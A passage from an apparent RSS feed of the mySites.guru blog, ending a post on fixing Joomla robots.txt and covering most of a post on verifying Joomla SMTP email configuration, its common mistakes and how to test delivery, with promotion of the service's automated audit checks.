&lt;p&gt;Adjust the blocked parameter patterns to match your site&apos;s URL structure. If you use a specific sitemap extension, make sure the sitemap URL matches what the extension generates.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;Test before you deploy&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Always test your robots.txt changes using Google Search Console&apos;s URL Inspection tool before deploying them to production. A mistake in robots.txt can deindex your entire site within days.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How Do You Fix a Broken robots.txt on Joomla?&lt;/h2&gt;
&lt;p&gt;If your audit reveals problems, here&apos;s how to fix them:&lt;/p&gt;
&lt;h3&gt;Option 1: fix it through mySites.guru (fastest)&lt;/h3&gt;
&lt;p&gt;If your site is connected to mySites.guru, navigate to the Joomla Configuration section of the snapshot results and find the &quot;Media &amp;amp; Template&quot; check. Click &quot;Investigate&quot; to see the one-click fix button, or use mySites.guru&apos;s built-in robots.txt file editor to make more detailed changes. Either way, mySites.guru saves the updated file directly to your site. Run a new snapshot afterwards to confirm the fix.&lt;/p&gt;
&lt;h3&gt;Option 2: edit the file via FTP/SFTP&lt;/h3&gt;
&lt;p&gt;Connect to your site via FTP or SFTP, navigate to the root directory (the same level as your &lt;code&gt;index.php&lt;/code&gt;), and open &lt;code&gt;robots.txt&lt;/code&gt; in a text editor. Make your changes, save, and upload.&lt;/p&gt;
&lt;h3&gt;Option 3: edit through your hosting control panel&lt;/h3&gt;
&lt;p&gt;Most hosting control panels (cPanel, Plesk, DirectAdmin) include a file manager where you can browse to the site root and edit &lt;code&gt;robots.txt&lt;/code&gt; directly in the browser. Some Joomla extensions also provide file editing capabilities, but Joomla itself has no built-in file editor.&lt;/p&gt;
&lt;h3&gt;After fixing&lt;/h3&gt;
&lt;p&gt;After updating your robots.txt:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visit &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt; in your browser to verify the changes&lt;/li&gt;
&lt;li&gt;Test in Google Search Console using the URL Inspection tool&lt;/li&gt;
&lt;li&gt;Request reindexing for any pages that were previously blocked&lt;/li&gt;
&lt;li&gt;Run a fresh mySites.guru snapshot to confirm the check now passes&lt;/li&gt;
&lt;li&gt;Monitor your Google Search Console coverage report over the next few weeks to see previously blocked pages get picked up&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Don&apos;t overlook the basics&lt;/h2&gt;
&lt;p&gt;It&apos;s easy to focus on the flashy parts of SEO (content strategy, backlinks, page speed optimisation) and overlook a misconfigured text file that&apos;s been quietly working against you for years. Your Joomla site&apos;s &lt;code&gt;robots.txt&lt;/code&gt; is one of the first things search engines read, and getting it wrong costs you traffic.&lt;/p&gt;
&lt;p&gt;If you&apos;re managing multiple sites, checking robots.txt manually across all of them isn&apos;t realistic. That&apos;s exactly why mySites.guru includes it as an automated snapshot check. Connect your sites with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;, and you&apos;ll know within minutes whether any of them have this problem.&lt;/p&gt;
&lt;p&gt;Check out the full list of &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; that mySites.guru offers for managing and monitoring your Joomla and WordPress sites at scale.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/robots/intro&quot;&gt;Google&apos;s robots.txt specification&lt;/a&gt; - the authoritative reference for how Google interprets robots.txt directives&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/robots/create-robots-txt&quot;&gt;Google Search Central: Create a robots.txt file&lt;/a&gt; - Google&apos;s practical guide to creating and testing robots.txt files&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Robots.txt_file&quot;&gt;Joomla Manual: robots.txt&lt;/a&gt; - Joomla&apos;s official documentation on robots.txt&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9309&quot;&gt;RFC 9309: Robots Exclusion Protocol&lt;/a&gt; - the 2022 IETF standard formalising the robots.txt protocol&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.google.com/webmasters/answer/9012289&quot;&gt;Google Search Console URL Inspection&lt;/a&gt; - how to test whether your pages are blocked or indexable&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Configuration hygiene is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>seo</category><category>robots.txt</category><category>joomla</category><category>search engines</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/how-to-check-joomla-robots-txt-seo.DfOopshy.png" length="0" type="image/png"/></item><item><title>How to Verify Your Joomla Site&apos;s Email Configuration Actually Works</title><link>https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/</guid><description>Joomla and WordPress contact forms can silently fail. Check SMTP settings, test mail delivery, and catch email misconfigurations across all your sites.</description><pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your Joomla site sends emails every day. Contact form submissions, user registration confirmations, password resets, admin notifications. You probably assume it all just works.&lt;/p&gt;
&lt;p&gt;It might not be working at all. And the worst part: Joomla won&apos;t tell you when it stops.&lt;/p&gt;
&lt;p&gt;There&apos;s no warning banner. No error log entry (in most configurations). No dashboard alert. Your contact form will happily accept submissions, show the &quot;thank you&quot; message, and silently drop the email into a void. Your customer thinks they&apos;ve reached out. You think nobody&apos;s contacted you in weeks. Both of you are wrong.&lt;/p&gt;
&lt;p&gt;I&apos;ve seen agencies lose leads for months before someone finally called and said &quot;I submitted your form three times and never heard back.&quot; That&apos;s when you discover the hosting provider changed the SMTP port in January and nobody updated the Joomla configuration.&lt;/p&gt;
&lt;p&gt;The rest of this post covers Joomla&apos;s email system, the mistakes that break it most often, and how to stop relying on manual checks.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru automate email verification?&lt;/h2&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on your Joomla site, the very first thing it does is send a test email.&lt;/p&gt;
&lt;p&gt;The audit uses your site&apos;s own configured mail settings (whatever you&apos;ve set in Global Configuration) to send a short email to &lt;a href=&quot;https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/&quot;&gt;&lt;code&gt;AuditMailerTest@myjoomla.io&lt;/code&gt;&lt;/a&gt;. The &lt;code&gt;myjoomla.io&lt;/code&gt; domain is left over from the service&apos;s &lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;original name&lt;/a&gt;, before WordPress support was added. The server receiving these emails isn&apos;t a traditional SMTP server. It&apos;s a lightweight PHP service that accepts the incoming email, converts it to JSON, and sends it back to the mySites.guru platform for processing.&lt;/p&gt;
&lt;p&gt;If the email arrives, your audit shows a green &quot;OK&quot; status for the Email Configuration check. If it doesn&apos;t arrive, you get a red &quot;Issue&quot; flag with a clear message: &lt;strong&gt;&quot;We never received an email we attempted to send back to us from your Joomla site.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;This is a real email delivery test, not a config check&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;mySites.guru doesn&apos;t just look at your settings and say &quot;these look right.&quot; It actually sends an email from your site and waits for it to arrive. If the email doesn&apos;t get through, neither would your contact form submissions or user notifications.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@basicjoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; put together a walkthrough of the email configuration check and the other Joomla Configuration audit results. Worth watching if you want to see what the audit output looks like in practice:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/INMrTVHj2xc&quot; title=&quot;Joomla Global Email Configuration audit walkthrough by Basic Joomla Tutorials&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Check out his &lt;a href=&quot;https://www.youtube.com/@basicjoomla/search?query=mysites.guru&quot;&gt;full mySites.guru playlist on YouTube&lt;/a&gt; for more walkthroughs of the audit tools.&lt;/p&gt;
&lt;h3&gt;What happens when the test fails&lt;/h3&gt;
&lt;p&gt;A failed email test means your site cannot send email. Not just to the mySites.guru test address, but to anyone. The test uses the same mail settings and same code path that your contact forms, user registrations, and admin notifications use. If the test email fails, everything fails.&lt;/p&gt;
&lt;p&gt;The audit results page shows you exactly what was tested and links to documentation explaining what to check. You can also see the trend: whether email was working on the previous audit and has now broken, or whether it&apos;s been failing for a while.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/emailconfig&quot;&gt;pivot page&lt;/a&gt; shows the email configuration check result for every connected site on one screen. Sites with broken email show up immediately so you can fix them before anyone notices.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Scheduling regular email checks&lt;/h3&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule audits&lt;/a&gt; to run automatically on a daily, weekly, or custom schedule. Each audit includes the email test, so you get notified the moment email delivery breaks. No need to remember to test manually. No more discovering three months later that nobody&apos;s been receiving your contact form emails.&lt;/p&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt;, you can see email status alongside every other health indicator for all your sites in one view.&lt;/p&gt;
&lt;h3&gt;Detecting mass mailer scripts&lt;/h3&gt;
&lt;p&gt;A broken email configuration is one problem. A hacked site sending spam is a much bigger one.&lt;/p&gt;
&lt;p&gt;When attackers compromise a Joomla site, one of the most common things they do is plant PHP scripts that send mass emails. These scripts bypass Joomla&apos;s mail configuration entirely, using their own SMTP connections or calling &lt;code&gt;mail()&lt;/code&gt; directly. Your site becomes a spam relay without your knowledge.&lt;/p&gt;
&lt;p&gt;The mySites.guru audit includes a dedicated &lt;strong&gt;Mass Mailers&lt;/strong&gt; check that scans your entire webspace for non-core PHP files containing email-sending code. It looks for calls to &lt;code&gt;mail()&lt;/code&gt;, &lt;code&gt;PHPMailer&lt;/code&gt;, &lt;code&gt;SwiftMailer&lt;/code&gt;, and other common patterns. Core Joomla files are excluded, so it only flags files that shouldn&apos;t be there.&lt;/p&gt;
&lt;p&gt;If the check finds something, you&apos;ll see a red &quot;Mailers&quot; label with the count of suspicious files. You can drill into the tool to see exactly which files were flagged and inspect their contents. The same audit also runs full &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hack detection&lt;/a&gt;, scanning every line of code in your webspace for malicious patterns, including &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files&lt;/a&gt; that a manual review would never catch.&lt;/p&gt;
&lt;h3&gt;WordPress sites get the same test&lt;/h3&gt;
&lt;p&gt;This isn&apos;t just a Joomla thing. mySites.guru runs the same email delivery test on WordPress sites too. The audit uses WordPress&apos;s &lt;code&gt;wp_mail()&lt;/code&gt; function to send a test message to the same &lt;code&gt;AuditMailerTest@myjoomla.io&lt;/code&gt; address. If your WordPress site relies on the default PHP &lt;code&gt;mail()&lt;/code&gt; function (which most do out of the box), the test will often fail because many hosts block it or the emails end up in spam.&lt;/p&gt;
&lt;p&gt;Most WordPress sites need an SMTP plugin like WP Mail SMTP, FluentSMTP, or Post SMTP to send email reliably. The mySites.guru email test catches the sites where that plugin is missing, misconfigured, or where the SMTP credentials have gone stale. The same scheduling, trend tracking, and mass mailer detection all apply to your &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;WordPress sites&lt;/a&gt; just as they do to Joomla.&lt;/p&gt;
&lt;p&gt;The same pivot page works for WordPress too. Switch to the WordPress Sites tab and you&apos;ll see the email check result for every WordPress site in your account:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How does Joomla send email?&lt;/h2&gt;
&lt;p&gt;Before you can troubleshoot email, you need to understand the three ways Joomla can send it. Each one has different failure modes and different things that go wrong.&lt;/p&gt;
&lt;h3&gt;PHP Mail (the default)&lt;/h3&gt;
&lt;p&gt;When you install Joomla, the mailer is set to &lt;code&gt;PHP Mail&lt;/code&gt; by default. This uses PHP&apos;s built-in &lt;code&gt;mail()&lt;/code&gt; function, which hands the email off to whatever mail transfer agent (MTA) is configured on the server, usually Sendmail or Postfix.&lt;/p&gt;
&lt;p&gt;The problem with PHP Mail is that you&apos;re entirely dependent on the server&apos;s mail configuration. You have no control over authentication, no encryption, and no visibility into whether the email was actually accepted. Many shared hosting providers disable &lt;code&gt;mail()&lt;/code&gt; entirely. When they do, Joomla silently fails. No error. No bounce. Nothing.&lt;/p&gt;
&lt;h3&gt;Sendmail&lt;/h3&gt;
&lt;p&gt;The Sendmail option lets you specify the path to the Sendmail binary on the server (default &lt;code&gt;/usr/sbin/sendmail&lt;/code&gt;). It shares all the same problems as PHP Mail: no authentication, no encryption, no delivery feedback. Don&apos;t use either option unless the server administrator has specifically configured the MTA to relay through an authenticated SMTP service.&lt;/p&gt;
&lt;h3&gt;SMTP (the right choice)&lt;/h3&gt;
&lt;p&gt;SMTP is the only option that gives you real control. You specify a mail server hostname, port, authentication credentials, and encryption method. Joomla connects directly to the SMTP server and hands off the email using a proper authenticated session.&lt;/p&gt;
&lt;p&gt;It&apos;s also the only method that gives you logging. With PHP Mail and Sendmail, emails leave the server and you have no visibility into whether they were accepted, bounced, or silently dropped. SMTP providers log every message, so you can see exactly what was sent, when, and whether it was delivered.&lt;/p&gt;
&lt;p&gt;This is what you should be using. Full stop.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;SMTP is not just for &quot;advanced users&quot;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Every Joomla site should use SMTP. PHP Mail and Sendmail are legacy options that offer no authentication, no encryption, and no delivery tracking. If your contact form matters to your business, configure SMTP properly.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What do Joomla&apos;s email settings mean?&lt;/h2&gt;
&lt;p&gt;All email configuration lives in &lt;strong&gt;System &amp;gt; Global Configuration &amp;gt; Server tab&lt;/strong&gt; in the Joomla admin. Here&apos;s what each setting does and what can go wrong with it.&lt;/p&gt;
&lt;h3&gt;Mailer&lt;/h3&gt;
&lt;p&gt;Dropdown with three options: PHP Mail, Sendmail, or SMTP. As covered above, choose SMTP.&lt;/p&gt;
&lt;h3&gt;From Email&lt;/h3&gt;
&lt;p&gt;The email address Joomla puts in the &lt;code&gt;From:&lt;/code&gt; header of every email it sends. If this address doesn&apos;t match the domain of your SMTP server (or at least a domain you&apos;ve authorized via SPF/DKIM), receiving servers will flag your emails as suspicious.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Setting this to a generic address like &lt;code&gt;admin@gmail.com&lt;/code&gt; or leaving it as the default &lt;code&gt;admin@example.com&lt;/code&gt;. Your emails will land in spam or be rejected outright.&lt;/p&gt;
&lt;h3&gt;From Name&lt;/h3&gt;
&lt;p&gt;The display name that appears alongside the From Email address. Usually your site name or business name. This is cosmetic but matters for trust. Emails from &quot;Joomla! powered site&quot; look unprofessional and get ignored.&lt;/p&gt;
&lt;h3&gt;SMTP Host&lt;/h3&gt;
&lt;p&gt;The hostname of your SMTP server. Common examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;smtp.gmail.com&lt;/code&gt; (Google Workspace)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smtp.office365.com&lt;/code&gt; (Microsoft 365)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smtp.postmarkapp.com&lt;/code&gt; (Postmark)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;email-smtp.eu-west-1.amazonaws.com&lt;/code&gt; (Amazon SES)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mail.yourdomain.com&lt;/code&gt; (cPanel/hosting provider)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Using &lt;code&gt;localhost&lt;/code&gt; when the server doesn&apos;t have a local SMTP service running, or using an IP address that gets blocked by the receiving server&apos;s firewall.&lt;/p&gt;
&lt;h3&gt;SMTP Port&lt;/h3&gt;
&lt;p&gt;The port number for the SMTP connection. The correct port depends on the encryption method:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Port 587&lt;/strong&gt; - STARTTLS (the modern standard, use this)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port 465&lt;/strong&gt; - Implicit TLS/SSL (older but still supported by many providers)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port 25&lt;/strong&gt; - No encryption (blocked by most hosting providers and ISPs, never use this for authenticated mail)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Using port 25 because &quot;it&apos;s the SMTP port.&quot; Port 25 is for server-to-server relay, not authenticated client submission. Most hosting providers block outbound port 25 entirely. Use 587.&lt;/p&gt;
&lt;h3&gt;SMTP Security&lt;/h3&gt;
&lt;p&gt;The encryption method: None, SSL/TLS, or STARTTLS. Always use STARTTLS (port 587) or SSL/TLS (port 465). Never use None.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Setting this to None because &quot;it&apos;s just internal mail.&quot; Even on internal networks, unencrypted SMTP exposes your credentials in plain text to anyone sniffing the network.&lt;/p&gt;
&lt;h3&gt;SMTP Authentication&lt;/h3&gt;
&lt;p&gt;Whether the SMTP server requires a username and password. Almost every SMTP server requires authentication. The only exception is some internal relay servers on managed hosting, but even those are increasingly requiring auth.&lt;/p&gt;
&lt;h3&gt;SMTP Username and Password&lt;/h3&gt;
&lt;p&gt;Your SMTP credentials. These are typically not the same as your email login, especially with services like Gmail (which requires an App Password or OAuth), Amazon SES (which uses IAM credentials), and Postmark (which uses API tokens).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Using your personal email password. If your Joomla site is ever compromised (and &lt;a href=&quot;https://www.cvedetails.com/vulnerability-list/vendor_id-3496/product_id-16499/Joomla-Joomla-.html&quot;&gt;every Joomla 4 version was exploitable&lt;/a&gt; for configuration file exposure except the latest few) the attacker gets your email password too.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-red-900 dark:text-red-200&quot;&amp;gt;Never reuse personal email credentials&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-red-800 dark:text-red-300&quot;&amp;gt;If you can see test emails from &amp;lt;a href=&quot;/blog/emails-from-auditmailertest-myjoomla-io/&quot; class=&quot;text-red-900 underline dark:text-red-200&quot;&amp;gt;AuditMailerTest@myjoomla.io&amp;lt;/a&amp;gt; in your personal mail client&apos;s sent folder, it means you&apos;re using your personal account credentials in Joomla. That&apos;s a security risk you should fix today.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What are the seven most common Joomla email configuration mistakes?&lt;/h2&gt;
&lt;p&gt;After years of running &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt; across tens of thousands of Joomla sites, these are the problems I see over and over again.&lt;/p&gt;
&lt;h3&gt;1. Using PHP Mail on a server that blocks it&lt;/h3&gt;
&lt;p&gt;Many shared hosting providers disable PHP&apos;s &lt;code&gt;mail()&lt;/code&gt; function to prevent spam abuse. When they do, Joomla&apos;s PHP Mail option silently fails. You get no error, no bounce, nothing. The form submission goes through, the email vanishes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Switch to SMTP. Always.&lt;/p&gt;
&lt;h3&gt;2. Wrong SMTP port after a hosting migration&lt;/h3&gt;
&lt;p&gt;You migrate to a new host, restore your Joomla backup, and everything looks fine. Except the new host uses port 587 instead of port 465, or vice versa. Your SMTP credentials might even be correct, but the port mismatch means the connection never establishes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Check with your new host which port they support. Test the connection explicitly.&lt;/p&gt;
&lt;h3&gt;3. SMTP password changed by the hosting provider&lt;/h3&gt;
&lt;p&gt;Hosting providers periodically rotate passwords, especially on shared hosting. When they do, your Joomla SMTP password becomes invalid. Some providers notify you. Many don&apos;t.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Use a dedicated transactional email service (Postmark, Amazon SES, Mailgun) where you control the credentials and get notified of any changes.&lt;/p&gt;
&lt;h3&gt;4. From address doesn&apos;t match SPF/DKIM records&lt;/h3&gt;
&lt;p&gt;Your site sends email from &lt;code&gt;info@yourdomain.com&lt;/code&gt; but the SMTP server is &lt;code&gt;smtp.thirdpartyservice.com&lt;/code&gt;. The receiving server checks the SPF record for &lt;code&gt;yourdomain.com&lt;/code&gt;, doesn&apos;t find the third-party service&apos;s IP address listed, and either rejects the email or dumps it in spam.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Add the SMTP service&apos;s SPF include to your domain&apos;s DNS. Set up DKIM signing. Consider adding a DMARC policy too. Your email service provider will have documentation on exactly what DNS records to add.&lt;/p&gt;
&lt;h3&gt;5. SSL certificate mismatch on the SMTP server&lt;/h3&gt;
&lt;p&gt;You connect to &lt;code&gt;mail.yourdomain.com&lt;/code&gt; on port 465, but the SSL certificate on the mail server is issued to &lt;code&gt;server42.hostingprovider.com&lt;/code&gt;. PHP&apos;s OpenSSL extension rejects the connection because the certificate doesn&apos;t match the hostname.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Either use the hostname that matches the certificate (ask your host what it is) or switch to a proper email service where certificate management is handled for you.&lt;/p&gt;
&lt;h3&gt;6. Using &quot;Send Copy to Submitter&quot; and getting flagged as spam&lt;/h3&gt;
&lt;p&gt;Joomla&apos;s contact form has a &lt;code&gt;Send Copy To Submitter&lt;/code&gt; option that forwards a copy of the form submission to whatever email address the visitor entered. Spammers abuse this by submitting the form with a victim&apos;s email address, making your site the spam source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;Disable Send Copy to Submitter&lt;/a&gt; globally. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; checks this setting automatically.&lt;/p&gt;
&lt;h3&gt;7. Plaintext passwords enabled in Joomla&lt;/h3&gt;
&lt;p&gt;Older Joomla versions can be configured to email new users their password in plain text. Apart from being a terrible security practice, these emails are more likely to be flagged by spam filters because they contain sensitive-looking content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Disable the plain text password setting. mySites.guru&apos;s snapshot checks this too and can toggle it off with one click.&lt;/p&gt;
&lt;h2&gt;How to manually test your Joomla email&lt;/h2&gt;
&lt;p&gt;If you suspect email is broken, here&apos;s how to confirm it without waiting for a real form submission.&lt;/p&gt;
&lt;h3&gt;Method 1: Joomla&apos;s built-in mass mail&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;Users &amp;gt; Mass Mail Users&lt;/strong&gt; in the Joomla admin. Select the Super Users group, type a test subject and body, and send. Check your inbox (and spam folder). If you get the email, your configuration works for sending to your own address at least.&lt;/p&gt;
&lt;p&gt;The limitation: this only tests sending to addresses you already know work. It doesn&apos;t tell you whether emails to other domains are being delivered or rejected.&lt;/p&gt;
&lt;h3&gt;Method 2: Create a test contact form submission&lt;/h3&gt;
&lt;p&gt;Fill in your own site&apos;s contact form using a different email address (a Gmail or Outlook.com address you control). Check whether you receive the form submission email. Check whether the submitter receives a copy (if that option is enabled).&lt;/p&gt;
&lt;p&gt;This exercises the full contact form pipeline, not just the raw mail function.&lt;/p&gt;
&lt;h3&gt;Method 3: Check the mail queue and server logs&lt;/h3&gt;
&lt;p&gt;If you have SSH access, run &lt;code&gt;mailq&lt;/code&gt; to check for stuck messages. Check &lt;code&gt;/var/log/mail.log&lt;/code&gt; or &lt;code&gt;/var/log/maillog&lt;/code&gt; for errors like &lt;code&gt;Connection refused&lt;/code&gt; (wrong port or firewall), &lt;code&gt;Authentication failed&lt;/code&gt; (wrong credentials), &lt;code&gt;Relay access denied&lt;/code&gt; (unauthorized From address), or &lt;code&gt;Certificate verification failed&lt;/code&gt; (SSL mismatch).&lt;/p&gt;
&lt;h3&gt;Method 4: Use an external SMTP testing tool&lt;/h3&gt;
&lt;p&gt;Tools like &lt;a href=&quot;https://smtper.net/&quot;&gt;SMTPer.net&lt;/a&gt; let you test SMTP connections from outside your server. Enter your SMTP host, port, credentials, and encryption method, and it will tell you exactly what&apos;s happening at each step of the connection.&lt;/p&gt;
&lt;h2&gt;Why isn&apos;t manual testing enough?&lt;/h2&gt;
&lt;p&gt;The problem with all of these manual tests is that they only tell you email works right now. They don&apos;t tell you when it stops working tomorrow because your hosting provider changed something, your SSL certificate expired, or your SMTP service rotated your API key.&lt;/p&gt;
&lt;p&gt;Email configuration is one of those things that works perfectly until it doesn&apos;t, and when it breaks, nobody notices until the damage is done.&lt;/p&gt;
&lt;p&gt;You need automated, ongoing testing. That&apos;s exactly what the &lt;a href=&quot;#how-does-mysitesguru-automate-email-verification&quot;&gt;mySites.guru audit&lt;/a&gt; handles for you.&lt;/p&gt;
&lt;h2&gt;How do you set up a dedicated transactional email service?&lt;/h2&gt;
&lt;p&gt;I strongly recommend using a dedicated transactional email provider instead of your hosting provider&apos;s built-in SMTP. You get centralised activity logs showing every email your site sent, when it was delivered, and whether it bounced. The sending infrastructure has actively managed IP reputation, so your emails actually land in inboxes instead of spam folders. Bounce handling is built in, so bad addresses get flagged instead of silently failing.&lt;/p&gt;
&lt;p&gt;Your hosting provider&apos;s mail server shares its IP with hundreds of other customers. If one of them sends spam, the IP gets blacklisted and your emails stop arriving too. Dedicated providers maintain clean IP pools and actively monitor reputation, which is something your $10/month shared host simply doesn&apos;t do.&lt;/p&gt;
&lt;h3&gt;Postmark&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://postmarkapp.com&quot;&gt;Postmark&lt;/a&gt; is purpose-built for transactional email (not marketing email). It provides excellent deliverability, detailed delivery tracking, and bounce management. To use Postmark with Joomla, set SMTP Host to &lt;code&gt;smtp.postmarkapp.com&lt;/code&gt;, port &lt;code&gt;587&lt;/code&gt; with STARTTLS, and use your Postmark Server API Token as both the username and password. Your From Email must be a verified sender address in Postmark.&lt;/p&gt;
&lt;h3&gt;Amazon SES&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://aws.amazon.com/ses/&quot;&gt;Amazon SES&lt;/a&gt; is the cheapest option at scale. It requires more setup (IAM users, DKIM verification, moving out of the sandbox) but costs fractions of a penny per email.&lt;/p&gt;
&lt;h3&gt;Google Workspace / Microsoft 365&lt;/h3&gt;
